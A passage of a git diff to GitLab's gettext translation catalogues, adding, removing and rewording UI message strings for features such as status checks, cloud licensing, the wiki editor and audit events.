-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30373,9 +30187,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30418,6 +30229,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30508,6 +30322,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30688,9 +30505,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30715,6 +30529,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30739,9 +30556,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30769,9 +30583,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30805,12 +30616,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30865,6 +30670,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -31198,9 +31006,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -31303,6 +31108,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31369,12 +31177,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31408,9 +31210,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31453,9 +31252,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31507,6 +31303,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31525,6 +31324,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31627,15 +31429,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31852,12 +31645,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31876,7 +31675,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31906,6 +31705,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31993,6 +31795,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -32002,9 +31807,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -32359,6 +32161,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32377,7 +32182,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32449,9 +32260,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32464,7 +32272,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32512,7 +32320,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32527,7 +32335,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32536,10 +32344,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32731,6 +32539,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -33106,7 +32917,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -33115,6 +32926,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -33124,6 +32938,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -33157,9 +32974,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -33193,7 +33007,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -33223,6 +33037,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -33301,6 +33118,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -33322,15 +33142,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33415,18 +33235,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33490,9 +33304,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33511,10 +33322,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33529,9 +33340,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33541,9 +33349,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33562,9 +33367,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33706,9 +33508,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33829,6 +33628,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33904,6 +33706,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33937,7 +33742,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -34033,6 +33838,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -34072,9 +33880,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -34159,7 +33964,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34906,9 +34711,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34993,9 +34804,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -35095,9 +34903,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -35110,6 +34927,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -35158,6 +34978,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35641,12 +35470,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35737,21 +35560,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35887,9 +35695,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -36226,9 +36031,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -36358,6 +36169,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36655,9 +36469,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36667,9 +36478,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36751,9 +36568,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36847,6 +36661,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36865,9 +36682,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36901,6 +36715,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36970,7 +36787,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -37111,7 +36931,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -37243,6 +37063,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37543,6 +37366,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37552,6 +37384,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37756,7 +37591,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37777,6 +37612,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37792,16 +37630,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37816,10 +37654,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -38089,6 +37933,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -38128,9 +37975,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -38308,21 +38152,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38386,9 +38227,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38548,12 +38386,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38581,18 +38413,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38605,12 +38431,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38680,12 +38500,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38770,6 +38596,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38779,6 +38608,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38875,6 +38707,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38932,12 +38767,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38962,6 +38806,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38980,9 +38827,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -39289,6 +39133,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -39385,6 +39232,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39472,9 +39322,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39868,6 +39715,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39904,9 +39754,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39967,7 +39814,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -40048,7 +39895,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -40111,6 +39961,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40414,6 +40267,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40516,6 +40372,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index aed1158622c..858b4b289e7 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:29\n"
+"PO-Revision-Date: 2021-07-01 21:12\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
